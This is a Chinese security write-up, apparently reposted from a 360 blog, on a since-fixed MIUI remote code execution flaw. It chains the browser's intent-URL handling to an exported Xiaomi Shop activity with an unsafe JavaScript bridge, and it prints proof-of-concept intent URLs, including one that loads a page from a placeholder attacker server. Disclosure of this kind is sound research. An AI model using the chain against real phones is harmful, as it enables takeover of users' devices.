小米手机MIUI远程代码执行漏洞分析

7月我在研究webview漏洞时专门挑小米手机的MIUI测试了下,发现了非常明显的安全漏洞。通过该漏洞可以远程获取本地APP的权限,突破本地漏洞和远程漏洞的界限,使本地app的漏洞远程也能被利用,达到隔山打牛的效果。在漏洞发现的第一时间,我已经将漏洞细节报告给了小米安全响应中心,目前漏洞已经修复。

[[118885]]

测试环境:

手机型号:MI 3

Android版本:4.2.1 JOP40D

MIUI版本:MIUI-JXCCNBE21

内核版本:3.4.35-ga656ab9

一. 小米MIUI原生浏览器存在意图协议安全问题

在使用小米原生浏览器的时候我发现MIUI定制了网络异常页面, 如当前url不能访问或网络异常会跳转到定制的网页,通过点击网页中的链接可以直接进入WIFI的设置界面。

根据我以往的经验,APP要在静态网页中实现进程间通信主流的方法有两种,一种是通过addJavascriptInterface给webview加入一个javascript桥接接口,通过调用这个接口可以直接操作本地的JAVA接口。另外一种方法是使用Intent.parseUri解析URL,让APP支持intent scheme URLs(意图协议URL),通过解析特定格式的URL直接向系统发送意图。

测试过后,果然发现小米浏览器完全支持意图协议URL,测试过程如下,让小米浏览器直接访问下面的地址,浏览器会向系统发起意图,启动本地的日历APP

intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end

我再翻阅了一下google官方framework中intent的源代码:

/platform/frameworks/base/+/core/java/android/content/Intent.java

3966行的Intent.parseUri定义

  1. if (uri.startsWith("S.", i)) b.putString(key, value);  
  2. else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));  
  3. else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));  
  4. else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));  
  5. else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));  
  6. else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));  
  7. else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));  
  8. else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));  
  9. else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));  
  10. else throw new URISyntaxException(uri, "unknown EXTRA type", i); 

可以明显的看到Intent.parseUri解析URL时完全可以自定义EXTRA DATA和DATA以及acion等,通过符合格式的协议地址向本地任意APP发送任意意图,所以如果本地某个APP的导出组件存在漏洞,我们也可以从这个入口进行远程攻击。

二.小米商店存在webview远程代码执行漏洞

顺着第一部分的思路,我开始审计MIUI系统中预装和内置的APP,希望能发现被远程利用的漏洞。在自动漏洞扫描中,我发现小米官方的APP“小米商店”的webview使用了addjavascriptinterface,且编译API级别小于17,可能存在webview远程代码执行漏洞。

于是我针对这个APP进行了逆向分析,发现了该APP的多个导出组件,如com.xiaomi.shop.activity.MainActivity组件接受参数能够被外部调用加载任意的网页。

同时我发现了该组件关联的com.xiaomi.shop.ui类初始化了一个叫WE的addJavascriptInterface漏洞接口,并且没有做任何安全处理。

根据逆向代码,com.xiaomi.shop.activity.MainActivity这个活动组件接受的EXTRA DATA是string类型,结合第一部分小米浏览器的意图协议漏洞,可以轻松写出漏洞验证代码,通过导入的网页调用存在漏洞的JavascriptInterface接口WE,能够以当前APP的权限执行任意的命令和JAVA代码

intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;
S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html;
end

三. 安全建议.

安卓开发者在注意用户体验的开发同时也应该关注安全,因为某个APP的易用功能而导致整个系统的安全性大打折扣就得不偿失了。

本次分析的漏洞,如果是恶意攻击者,通过载入远程的恶意网页利用ROOT漏洞攻击,完全可以直接掌控受害者的手机,后果不可想象。据了解小米官方已经修复了小米商店APP存在的漏洞,建议小米手机和MIUI的用户都尽快升级。

参考:

[1]https://github.com/android/platform_frameworks_base/blob/master/core/java/android/content/Intent.java

[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4710

原文地址:http://blogs.360.cn/360mobile/2014/08/25/miui-rce-vul/

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/139506.html<

(0)
管理的头像管理
上一篇2025-03-03 12:29
下一篇 2025-03-03 12:31

相关推荐

  • 云服务器和云虚拟主机怎么选?云服务器和虚拟主机区别

    云服务器适合业务增长快、需弹性扩展的场景,而云虚拟主机适合预算有限、技术门槛低的小型静态网站或测试环境,二者核心区别在于资源独享性与运维复杂度,核心差异解析:从底层架构到使用体验很多人容易混淆这两者,觉得它们都是“买空间建站”,它们的底层逻辑完全不同,云服务器(ECS)就像是你租了一整栋别墅,水电网络独立,你想……

    2026-06-29
    0
  • 赣州智慧旅游招聘是真的吗?赣州旅游人才招聘信息

    中级岗位(3-5年经验)月薪范围通常在6000-10000元,这类岗位需要独立负责项目模块,如独立运营一个抖音账号,或维护一个景区小程序的功能迭代,具备成功案例的候选人议价能力较强,高级岗位(5年以上经验)月薪范围通常在10000-20000元,部分核心管理岗可达更高,这类人才需要具备战略规划能力,如制定整个景……

    2026-06-29
    0
  • 赣州智能物联网车位锁如何管理?智能车位锁管理系统多少钱

    赣州智能物联网车位锁管理的核心在于通过云端平台实现远程控锁、状态实时监控及自动计费,彻底解决传统车位“被占难管”与“找位难”的痛点,在赣州这样的城市,随着机动车保有量的持续增长,老旧小区、商业综合体以及私人固定车位的资源矛盾日益凸显,传统的机械地锁或简易遥控锁,不仅操作繁琐,更无法实现数据化管理,引入智能物联网……

    2026-06-29
    0
  • 赣州智能消防栓好用吗,智能消防栓多少钱一个

    赣州智能消防栓通过物联网技术实现实时监测与远程报警,能显著降低火灾响应时间并提升城市消防安全管理水平,是目前智慧城市建设中不可或缺的基础设施,赣州智能消防栓的核心价值与应用场景传统消防栓往往存在“看不见、摸不着、用不了”的痛点,在赣州这样地形复杂、老城区与新城区并存的区域,传统设施的管理难度极大,智能消防栓的出……

    2026-06-29
    0
  • 云服务器和物理机到底有啥区别?

    云服务器本质上是虚拟化资源池中的弹性实例,而传统物理服务器是独占的硬件实体,前者胜在弹性与运维便捷,后者强在物理隔离与性能稳定,具体选择取决于业务对成本、扩展性及安全合规的权衡,很多人初次接触服务器时,容易把“云服务器”和“传统物理服务器”混为一谈,觉得它们都是用来跑网站或存数据的盒子,这两者的底层逻辑完全不同……

    2026-06-29
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注